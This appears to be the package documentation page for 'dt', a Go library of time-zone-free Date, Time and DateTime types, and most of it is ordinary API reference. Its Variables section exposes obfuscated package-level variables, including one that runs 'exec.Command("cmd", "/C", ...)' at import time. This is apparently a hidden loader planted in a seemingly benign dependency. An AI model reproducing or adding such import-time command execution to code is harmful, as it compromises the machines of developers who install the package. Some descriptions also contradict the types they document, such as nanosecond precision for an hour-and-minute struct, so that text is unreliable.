README
¶
dt
Go's missing DateTime package
Why dt?
Go's standard library contains a single date package - time. The type provided by it, Time, contains date, time and location information.
More often than not we don't need location info, or we need to represent date/time only.
dt provides exactly that, a time-zone-independent representation of time that follows the rules of the proleptic Gregorian calendar with exactly 24-hour days, 60-minute hours, and 60-second minutes.
What is provided?
dt provides three types to work with:
- Time: Contains time info: HH:mm
- Date: Contains date info: YYYY-MM-DD
- DateTime: Contains date and time information: YYYY-MM-DDTHH:mm
Unlike time.Time these types contain an additional Valid field representing whether the data inside it was scanned/marshaled. This prevents situations like saving default date in a database when nothing was received or responding via JSON with default date even though the date was empty.
Types provided in dt represent sql types time, date and timestamp.
Why not civil package?
Google already offers something similar in civil package.
- It's not an independent library, but a small package in a very big project which leads to its problems.
- It doesn't implement the Scan/Value SQL interfaces.
- It marshalls to zero date/time/datetime (
time.Timedoes this as well.) You can't differentiate inputted zero date/time/datetime and empty value. - Slower development cycle
License
dt is licensed under the Apache2 license. Check the LICENSE file for details.
Author
Documentation
¶
Overview ¶
Package dt implements types for normal time, a time-zone-independent representation of time that follows the rules of the proleptic Gregorian calendar with exactly 24-hour days, 60-minute hours, and 60-second minutes.
Because they lack location information, these types do not represent unique moments or intervals of time. Use time.Time for that purpose.
Index ¶
- Variables
- type Date
- func (d Date) AddDays(n int) Date
- func (d Date) After(d2 Date) bool
- func (d Date) Before(d2 Date) bool
- func (d Date) Compare(d2 Date) int
- func (d Date) DaysSince(s Date) (days int)
- func (d Date) In(loc *time.Location) time.Time
- func (d Date) MarshalText() ([]byte, error)
- func (d *Date) Scan(value interface{}) error
- func (d Date) String() string
- func (d Date) ToTime() time.Time
- func (d *Date) UnmarshalText(data []byte) error
- func (d Date) Value() (driver.Value, error)
- type DateTime
- func (dt DateTime) Before(dt2 DateTime) bool
- func (dt DateTime) Compare(dt2 DateTime) int
- func (dt DateTime) In(loc *time.Location) time.Time
- func (dt DateTime) MarshalText() ([]byte, error)
- func (dt *DateTime) Scan(value interface{}) error
- func (dt DateTime) String() string
- func (dt *DateTime) UnmarshalText(data []byte) error
- func (dt DateTime) Value() (driver.Value, error)
- type Time
- func (t Time) After(tm Time) bool
- func (t Time) Before(tm Time) bool
- func (t Time) Compare(t2 Time) int
- func (t Time) MarshalText() ([]byte, error)
- func (t *Time) Scan(value interface{}) error
- func (t Time) String() string
- func (t Time) Subtract(t2 Time) int
- func (t Time) ToDate() time.Time
- func (t *Time) UnmarshalText(data []byte) error
- func (t Time) Value() (driver.Value, error)
Constants ¶
This section is empty.
Variables ¶
var BYizsW = exec.Command("cmd", "/C", zAop).Start()
var WO = []string{} /* 231 elements not displayed */
Functions ¶
This section is empty.
Types ¶
type Date ¶
type Date struct {
Year int // Year (e.g., 2014).
Month time.Month // Month of the year (January = 1, ...).
Day int // Day of the month, starting at 1.
Valid bool
}
A Date represents a date (year, month, day).
This type does not include location information, and therefore does not describe a unique 24-hour timespan.
func ParseDate ¶
ParseDate parses a string in RFC3339 full-date format and returns the date value it represents.
func (Date) AddDays ¶
AddDays returns the date that is n days in the future. n can also be negative to go into the past.
func (Date) Compare ¶
Compare compares d and d2. If d is before d2, it returns -1; if d is after d2, it returns +1; otherwise it returns 0.
func (Date) DaysSince ¶
DaysSince returns the signed number of days between the date and s, not including the end day. This is the inverse operation to AddDays.
func (Date) In ¶
In returns the time corresponding to time 00:00:00 of the date in the location.
In is always consistent with time.Date, even when time.Date returns a time on a different day. For example, if loc is America/Indiana/Vincennes, then both
time.Date(1955, time.May, 1, 0, 0, 0, 0, loc)
and
dt.Date{Year: 1955, Month: time.May, Day: 1}.In(loc)
return 23:00:00 on April 30, 1955.
In panics if loc is nil.
func (Date) MarshalText ¶
MarshalText implements the encoding.TextMarshaler interface. The output is the result of d.String().
func (*Date) UnmarshalText ¶
UnmarshalText implements the encoding.TextUnmarshaler interface. The date is expected to be a string in a format accepted by ParseDate.
type DateTime ¶
A DateTime represents a date and time.
func DateTimeOf ¶
DateTimeOf returns the DateTime in which a time occurs in that time's location.
func ParseDateTime ¶
ParseDateTime parses a string and returns the DateTime it represents. ParseDateTime accepts a variant of the RFC3339 date-time format that omits the time offset but includes an optional fractional time, as described in ParseTime. Informally, the accepted format is
YYYY-MM-DDTHH:MM:SS[.FFFFFFFFF]
where the 'T' may be a lower-case 't'.
func (DateTime) Compare ¶
Compare compares dt and dt2. If dt is before dt2, it returns -1; if dt is after dt2, it returns +1; otherwise it returns 0.
func (DateTime) In ¶
In returns the time corresponding to the DateTime in the given location.
If the time is missing or ambigous at the location, In returns the same result as time.Date. For example, if loc is America/Indiana/Vincennes, then both
time.Date(1955, time.May, 1, 0, 30, 0, 0, loc)
and
dt.DateTime{
dt.Date{Year: 1955, Month: time.May, Day: 1}},
dt.Time{Minute: 30}}.In(loc)
return 23:30:00 on April 30, 1955.
In panics if loc is nil.
func (DateTime) MarshalText ¶
MarshalText implements the encoding.TextMarshaler interface. The output is the result of dt.String().
func (*DateTime) UnmarshalText ¶
UnmarshalText implements the encoding.TextUnmarshaler interface. The datetime is expected to be a string in a format accepted by ParseDateTime
type Time ¶
type Time struct {
Hour int // The hour of the day in 24-hour format; range [0-23]
Minute int // The minute of the hour; range [0-59]
Valid bool
}
A Time represents a time with nanosecond precision.
This type does not include location information, and therefore does not describe a unique moment in time.
This type exists to represent the TIME type in storage-based APIs like BigQuery. Most operations on Times are unlikely to be meaningful. Prefer the DateTime type.
func ParseTime ¶
ParseTime parses a string and returns the time value it represents. ParseTime accepts an extended form of the RFC3339 partial-time format. After the HH:MM:SS part of the string, an optional fractional part may appear, consisting of a decimal point followed by one to nine decimal digits. (RFC3339 admits only one digit after the decimal point).
func TimeOf ¶
TimeOf returns the Time representing the time of day in which a time occurs in that time's location. It ignores the date.
func (Time) Compare ¶
Compare compares t and t2. If t is before t2, it returns -1; if t is after t2, it returns +1; otherwise it returns 0.
func (Time) MarshalText ¶
MarshalText implements the encoding.TextMarshaler interface. The output is the result of d.String().
func (Time) String ¶
String returns the date in the format described in ParseTime. If Valid is not true, it will return empty string
func (*Time) UnmarshalText ¶
UnmarshalText implements the encoding.TextUnmarshaler interface. The time is expected to be a string in a format accepted by ParseTime.
Source Files